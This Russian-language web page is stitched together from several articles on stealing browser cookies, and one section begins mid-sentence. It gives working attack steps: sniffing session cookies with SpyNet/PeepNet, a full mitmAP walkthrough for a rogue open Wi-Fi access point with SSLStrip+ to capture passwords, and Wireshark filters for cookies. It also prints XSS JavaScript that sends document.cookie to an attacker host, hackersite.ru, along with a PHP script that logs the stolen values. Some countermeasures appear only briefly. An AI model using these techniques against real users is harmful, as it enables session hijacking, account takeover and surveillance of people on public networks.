Простой способ украсть cookie. Методы похищения файлов cookie Инструменты и методы взлома куки
Задумывались ли вы когда-нибудь о том, как на некоторых Web-узлах происходит персонификация посетителей? Это может выражаться, например, в запоминании содержимого "тележки" (если этот узел предназначен для продажи товаров) или в способе заполнения полей какой-нибудь формы. В протоколе HTTP, лежащем в основе функционирования World Wide Web, нет средств, позволяющих отслеживать события от одного посещения узла к другому, поэтому для возможности хранения таких "состояний" было разработано специальное дополнение. Этот механизм, описанный в документе RFC 2109, обеспечивает вставку в передаваемые запросы и ответы HTTP специальных фрагментов данных cookie, позволяющих Web-узлам отслеживать своих посетителей.
Данные cookie могут запоминаться на время сеанса связи (per session ), оставаясь в оперативной памяти в течение одного сеанса и удаляясь при закрытии браузера, или даже после истечения заданного промежутка времени. В других случаях они бывают постоянными (persistent ), оставаясь на жестком диске пользователя в виде текстового файла. Обычно они хранятся в каталоге Cookies (%windir% \Cookies - в Win9x и %userprofile%\Cookies - в NT/2000). Нетрудно догадаться, что после захвата файлов cookie в Internet взломщик может выдавать себя за пользователя данного компьютера, или собирать содержащуюся в этих файлах важную информацию. Прочитав следующие разделы, вы поймете, насколько просто это сделать.
Перехват файлов cookie
Самый прямой способ заключается в перехвате файлов cookie при их передаче по сети. Затем перехваченные данные можно использовать при входе на соответствующий сервер. Такую задачу можно решить с помощью любой утилиты перехвата пакетов, однако одной из лучших является программа Лаврентия Никулы (Laurentiu Nicula ) SpyNet/PeepNet . В состав SpyNet входят две утилиты, которые работают в комплексе. Программа CaptureNet выполняет захват самого пакета и сохраняет его на диске, а утилита PeepNet открывает этот файл и преобразует его в читабельный формат. Следующий пример является фрагментом восстановленного программой PeepNet сеанса связи, во время которого файл cookie служит для аутентификации и управления доступом к просматриваемым страницам (для сохранения анонимности имена изменены).
GET http://www.victim.net/images/logo.gif HTTP/1.0 Accept: */* Referrer: http://www.victim.net/ Host: www.victim.net Cookie: jrunsessionid=96114024278141622; cuid=TORPM!ZXTFRLRlpWTVFISEblahblah
В приведенном примере виден фрагмент cookie, помещенный в поступающий на сервер запрос HTTP. Наиболее важным является поле cuid= , в котором задается уникальный идентификатор, используемый при аутентификации пользователя на узле www.victim.net. Допустим, что после этого взломщик посетил узел victim.net, получил собственный идентификатор и файл cookie (предполагается, что узел помещает данные cookie не в виртуальную память, а записывает их на жесткий диск). Тогда взломщик может открыть свой собственный файл cookie и заменить в нем идентификатор поля cuid=, взяв его из перехваченного пакета. В этом случае при входе на сервер victim.net он будет восприниматься как пользователь, чьи данные cookie были перехвачены.
Способность программы PeepNet воспроизводить весь сеанс связи или его фрагмент значительно облегчает реализацию атак этого типа. С помощью кнопки Go get it! можно повторно извлечь страницы, которые просматривались пользователем, используя его данные cookie, перехваченные ранее программой CaptureNet. В диалоговом окне утилиты PeepNet можно увидеть информацию о чьих-то выполненных распоряжениях. При этом для аутентификации используются данные cookie, перехваченные программой CaptureNet. Обратите внимание на фрейм, расположенный в нижнем правом углу диалогового окна с данными сеанса связи, и на строку, которая следует за строкой Cookie:. Это данные cookie, используемые при аутентификации.
Это довольно ловкий трюк. Кроме того, утилита CaptureNet может предоставить полную запись трафика в расшифрованном виде, что практически равносильно возможностям утилит профессионального класса, таких как Sniffer Pro компании Network Associates, Inc. Однако утилита SpyNet еще лучше - ее можно получить бесплатно!
Контрмеры
Следует остерегаться узлов, на которых файлы cookie применяются для аутентификации и хранения важных идентификационных данных. Одним из инструментов, помогающих в обеспечении защиты, является программа Cookie Pal компании Kookaburra Software, которую можно найти на Web-узле http://www.kburra.com/cpal.html . Этот программный продукт можно настроить так, чтобы для пользователя генерировались предупреждающие сообщения о попытках Web-узла воспользоваться механизмом cookie. При этом можно "заглянуть за кулисы" и решить, следует ли разрешать выполнение этих действий. В Internet Explorer имеется встроенный механизм поддержки файлов cookie. Чтобы активизировать его, запустите аплет Internet Options панели управления, перейдите во вкладку Security, выберите элемент Internet Zone, установите режим Custom Level и для постоянных и временных данных cookie установите переключатель в положение Prompt. Настройка использования файлов cookie в браузере Netscape выполняется с помощью команды Edit › Preferences › Advanced и установки режима Warn me before accepting a cookie или Disable cookies (рис. 16.3). Принимая файл cookie, нужно проверить, записался ли он на диск, и узнать, собирает ли Web-узел информацию о пользователях.
Посещая узел, на котором файлы cookie служат для аутентификации, необходимо убедиться, что первоначально сообщаемые имя и пароль шифруются хотя бы с помощью протокола SSL. Тогда эта информация появится в окне программы PeepNet по меньшей мере не в виде простого текста.
Авторы предпочли бы полностью отказаться от файлов cookie, если бы многие часто посещаемые Web-узлы не требовали этого режима. Например, для популярной во всем мире службы Hotmail компании Microsoft наличие файлов cookie обязательно для регистрации. Поскольку эта служба в процессе аутентификации задействует несколько различных серверов, то добавить их в зону надежных узлов не так-то просто (этот процесс описан в разделе "Разумное Использование Зон Безопасности: Общее Решение Проблемы Элементов Activex"). В этом случае поможет обозначение *.hotmail.com. Файлы cookie - далеко не идеальное решение проблемы неполноты протокола HTML, однако альтернативные подходы, по-видимому, еще хуже (например, добавление к адресу URL идентификатора, который может храниться на proxy-серверах). Пока не появится идея получше, единственным выходом остается контроль над файлами cookie с помощью перечисленных выше методов.
Захват файлов cookie через URL
Представим себе нечто ужасное: пользователи Internet Explorer щелкают на специально сконструированных гиперссылках и становятся потенциальными жертвами, рискуя, что их файлы cookie будут перехвачены. Беннет Хазельтон (Bennett Haselton ) и Джеми Маккарти (Jamie McCarthy ) из тинейджерской организации Peacefire, ратующей за свободу общения через Internet, опубликовали сценарий, воплощающий эту идею в жизнь. Этот сценарий извлекает файлы cookie с клиентского компьютера, если его пользователь щелкает на ссылке, содержащейся на этой странице. В результате содержимое файла cookie становится доступным для операторов Web-узла.
Эту возможность можно использовать в неблаговидных целях, внедряя дескрипторы IFRAME в HTML-код Web-страницы, электронного сообщения в формате HTML или сообщения из группы новостей. В следующем примере, предложенном консультантом по вопросам безопасности Ричардом М. Смитом, демонстрируется возможность использования дескрипторов IFRAME совместно с утилитой, разработанной организацией Peacefire.
Можно составить коварное электронное сообщение, которое "захватывало" бы файлы cookie с жесткого диска пользователя и передавало их операторам узла peacefire.org. Для этого в него много раз нужно поместить ссылку на этот узел так, как показано в примерю. Несмотря на то что ребята из Peacefire выглядят довольно приятными людьми, вряд ли кому-нибудь понравится, если к ним в руки попадут конфиденциальные данные.
Контрмеры
Установите модуль обновления, который можно найти по адресу http://www.microsoft.com/technet/security/bulletin/ms00-033.asp . Можно воспользоваться также программой Cookie Pal или встроенными возможностями Internet Explorer, как описано выше.
И автоматически их запускает, благодаря чему и достигается обход HTTPS / HSTS. С mitmAP в этот процесс не нужно вникать, но если вы хотите сделать что-то подобное, например, с create_ap , то ознакомьтесь с «Инструкцией по использованию SSLStrip+ и dns2proxy для обхода HSTS ».
mitmAP позволяет практически без ввода команд (и понимания механизма обхода HTTPS) использовать самые эффективные на сегодняшний момент способы понижения HTTPS до HTTP. В моих тестах пароль в открытом виде передавался для vk.com, yandex.ru, mail.ru.
Этот скрипт сделан в двух вариантах - для работы в Kali Linux или в Raspberry PI .
Скрипт должен работать на производных Debian, если установить зависимости; но не будет работать, например, в Arch Linux / BlackArch из-за выбранного автором способа запуска служб.
Инструкция по использованию mitmAP
Скачайте скрипт:
Git clone https://github.com/xdavidhu/mitmAP.git cd mitmAP/
Запустите его:
Sudo python3 mitmAP.py
Скрипт начнёт с вопроса:
[?] Install/Update dependencies? Y/n:
Перевод: установить / обновить зависимости?
Если запускаете первый раз, то согласитесь, т.е. нажмите Enter. В дальнейшем можно выбирать n (нет).
Следующий вопрос:
[?] Please enter the name of your wireless interface (for the AP):
Перевод: введите имя вашего беспроводного интерфейса (для ТД). Если вы не знаете имя ваших интерфейсов, то в другом окне выполните команду:
Она покажет все сетевые интерфейсы вашей системы. А команда
Sudo iw dev
покажет только беспроводные сетевые интерфейсы.
В Kali Linux беспроводной интерфейс обычно называется wlan0 (а если их два, то второй имеет имя wlan1).
[?] Please enter the name of your internet connected interface:
Перевод: пожалуйста, введите имя интерфейса, подключённого к Интернету.
В Kali Linux проводной интерфейс обычно называется eth0 . Также для подключения к Интернету можно использовать вторую Wi-Fi карту.
[?] Use SSLSTRIP 2.0? Y/n:
Перевод: скрипт спрашивает, использовать ли SSLStrip+ . В настоящее время, когда значительная, если уже не большая, часть трафика передаётся через HTTPS (в зашифрованном виде), эта опция крайне рекомендуется.
[?] Create new HOSTAPD config file at "/etc/hostapd/hostapd.conf" Y/n:
Перевод: Создать ли новый конфигурационный файл hostapd.
Если запускаете первый раз, то это нужно сделать обязательно. При последующих запусках, если вы не собираетесь менять настройки ТД, то можно выбрать n (т.е. «нет»).
Настройка ТД:
[?] Please enter the SSID for the AP:
Перевод: введите имя для ТД.
[?] Please enter the channel for the AP:
Перевод: введите номер канала ТД.
[?] Enable WPA2 encryption? y/N:
Перевод: включить ли WPA2 шифрование?
Если вы включите шифрование, то для подключения к вашей ТД нужно будет вводить пароль. Для наших целей выбираем «нет».
Последняя настройка ТД:
[?] Set speed limit for the clients? Y/n:
Перевод: установить ли ограничение по скорости для клиентов?
Я выбираю «нет»,
[?] Start WIRESHARK on wlan0? Y/n:
Анализ данных mitmAP
mitmAP выводит перехваченные данные, в том числе логины и пароли в своём главном окне:
В своей папке она создаёт директорию logs с двумя файлами: mitmap-sslstrip.log и mitmap-wireshark.pcap . В первом файле содержаться собранные данные в текстовом виде. А второй предназначен для анализа в программе Wireshark.
Обратите внимание: что при перезапуске программы эти файлы затираются! Т.е. если вы намереваетесь анализировать эти файлы позднее, то вам нужно позаботиться об их перемещении или переименовании, иначе они будут просто удалены.
Если вы выбрали запуск окна Wireshark и отображение передаваемых изображений с помощью Driftnet , то вы также их сможете использовать для мониторинга передаваемых данных в реальном времени.
Анализ данных в Wireshark
Wireshark имеет очень детальный фильтр данных, с его разнообразием вы сможете ознакомиться на страничке официальной документации
Приведу примеры нескольких ходовых фильтров.
Для отображения в Wireshark всех HTTP запросов, переданных методом POST:
Http.request.method == "POST"
Для отображения данных переданных или полученных с определённого домена (вместо
Http.host=="
Для поиска строки во всём потоке передаваемых данных используется следующий фильтр (вместо <строка> введите строку, которую вы хотите искать):
Frame contains "<строка>"
Для отображения кукиз в Wireshark:
Http.cookie
Если вас интересует кукиз с определёнными именем, то используйте:
Http.cookie contains "<имя_куки>"
Для показа запросов в Wireshark, переданных методом GET или POST:
Http.request.uri contains "?" or http.request.method=="POST"
Если вы хотите найти данные обмена с FTP сервером, то в Wireshark можете использовать один из следующих фильтров:
Tcp.port==21 || tcp.port==20
Сниффинг данных в других программах
Хотя mitmAP задействует интересные программы, вы всегда можете проводить анализ данных другими инструментами. Например, если вы хотите использовать Bettercap , то нужно учитывать, что:
- ARP спуфинг не нужен
- Не нужно проводить обнаружение клиентов
- Не нужно включать SSLStrip.
Т.е. команда может иметь вид:
Sudo bettercap -X -I wlan0 -S NONE --no-discovery
Sudo bettercap -X -I wlan0 -S NONE --no-discovery --proxy --no-sslstrip
Завершение работы mitmAP
Для выключения программы нужно два раза быстро нажать CTRL+C . Напомню, что при повторном запуске программа затрёт файлы с полученными данными. Т.е. вам нужно их переместить в другую папку, если вы хотите позже провести их анализ.
Что такое же cookie?
Существует механизм, позволяющий http-серверу сохранять на компьютере пользователя некоторую текстовую информацию, а потом к ней обращаться. Данная информация называется cookie. По сути, каждая cookie - это пара: название параметра и его значение. Также каждой cookie присваивается домен, к которому она относится. В целях безопасности во всех браузерах http-серверу позволено лишь обращаться к cookie своего домена. Дополнительно cookie может иметь дату истечения, тогда они будут хранится на компьютере до этой даты, даже если закрыть все окна браузера.
Почему cookie важны?
Во всех многопользовательских системах cookie используются для идентификации пользователя. Вернее, текущего соединения пользователя с сервисом, пользовательской сессии. Если кто-то узнает Ваши cookie, то сможет зайти в систему от Вашего имени. Потому, что в настоящий момент очень мало интернет-ресурсов проверяет смену IP-адреса в течении одной пользовательской сессии.
Как изменить или подменить cookie?
Разработчики браузеров не предоставляют встроенных средств для редактирования cookie. Но можно обойтись и обычным блокнотом (notepad).
Шаг 1: создаем текстовый файл с текстом
Windows Registry Editor Version 5.00
@="C:\\IE_ext.htm"
Сохраняем его под именем IE_ext.reg
Шаг 2: С помощью созданного файла добавляем изменения в реестр Windows.
Шаг 3: создаем текстовый файл с текстом
<
script
language
="javascript">
external.menuArguments.clipboardData.setData("Text"
, external.menuArguments.document.cookie);
external.menuArguments.document.cookie= "testname=testvalue; path=/; domain=testdomain.ru"
;
alert(external.menuArguments.document.cookie);
script >
Сохраняем его под именем C:\IE_ext.htm
Шаг 4: Заходим на интересующий нас интернет-сайт.
Шаг 5: Правой кнопкой мыши кликам на свободном месте странице и выбираем пункт меню «Работа с Cookies» . Разрешаем доступ к буферу обмена. В буфер обмена попадут Ваши cookie данного сайт. Можете вставить их блокнот (notepad) и посмотреть.
Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname
на имя cookie, testvalue
- на его значение, testdomain.ru
– на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);
Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.
Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.
Как украсть cookie с помощью JavaScript?
Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:
var str= document.cookie;
Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:
var img=new Image();
img.src="http://hackersite.ru/xss.jpg?"
+ encodeURI(document.cookie);
то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.
Как обрабатывать такие запросы на загрузку «картинки»?
Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:
$uid=urldecode($_SERVER["QUERY_STRING"]);
$fp=fopen("log.txt","a");
fputs($fp,"$uid\n");
fclose($fp);
?>
Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.
Итог
Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.
Интернет-пользователи настолько беспечны, что для них лишиться конфиденциальных данных – проще простого. Издание 42.tut провело эксперимент, чтобы показать, насколько много «дыр» в общественных сетях Wi-Fi. Вывод неутешительный: любой желающий без специальных навыков и знаний может составить полное досье о человеке, используя лишь открытую беспроводную сеть.
Для эксперимента установили несколько приложений. Они отличаются по функциональности, но суть у них одна – собирать все, что проходит через сеть, к которой подключено устройство. Ни одна из программ не позиционирует себя как “пиратская”, “хакерская” или незаконная – их можно без проблем скачать в сети. Эксперимент провели в торговом центре с бесплатным Wi-Fi.
Перехват
Подключаемся к Wi-Fi: пароля нет никакого, в названии сети – слово “free”. Запускаем сканирование, одна из программ тут же находит 15 подключений к сети. У каждого можно увидеть IP-адрес, MAC-адрес, у некоторых – название производителя устройства: Sony, Samsung, Apple, LG, HTC…
Находим среди устройств ноутбук «жертвы». Подключаемся к нему – на экране начинают появляться данные, которые проходят через сеть. Вся информация структурируется по времени, есть даже встроенный просмотрщик перехваченных данных.
Идентификация пользователя
Продолжаем наблюдать. На ноутбуке напарника явно началась онлайн-игра: в сеть постоянно уходят программные команды, принимается информация об обстановке на поле боя. Видны ники соперников, их игровые уровни и много чего другого.
Приходит сообщение “ВКонтакте”. В одной из подробных спецификаций сообщения обнаруживаем, что в каждой из них виден идентификатор пользователя. Если вставить его в браузер, то откроется аккаунт человека, который получил сообщение.
«Жертва» в это время пишет ответ на сообщение, и явно не догадывается, что мы вовсю глазеем на фотографии в его аккаунте. Подает сигнал одно из приложений соцсети – мы можем прослушать этот звук в плеере.
Пароли и сообщения
Фото и звуки – далеко не все, что можно “отдать” в доступный Wi-Fi. К примеру, в одной из программ есть отдельная вкладка, чтобы отслеживать именно переписку в соцсетях и мессенджерах. Сообщения расшифровываются и сортируются по времени отправки.
Демонстрировать чужую переписку – это уже за гранью добра и зла. Но это работает. В качестве иллюстрации – часть диалога автора текста, пойманную следящим компьютером с устройства-“жертвы”.
Другая программа отдельно “складывает” все cookies и пользовательскую информацию, включая пароли. К счастью, в зашифрованном виде, но тут же предлагает установить утилиту, которая их расшифрует.
Выводы
Почти любую информацию можно потерять через Wi-Fi. Многие публичные сети не выставляют вообще никакой защиты, а иногда и пароля. А значит, трафик коллег, друзей или незнакомцев может перехватить любой желающий.
Самый надежный выход из этой ситуации один: не передавать никакую важную информацию через общественные сети. К примеру, не пересылать телефоны и пароли в сообщениях и не расплачиваться платежной карточкой за пределами дома. Риск лишиться персональных данных чрезвычайно высок.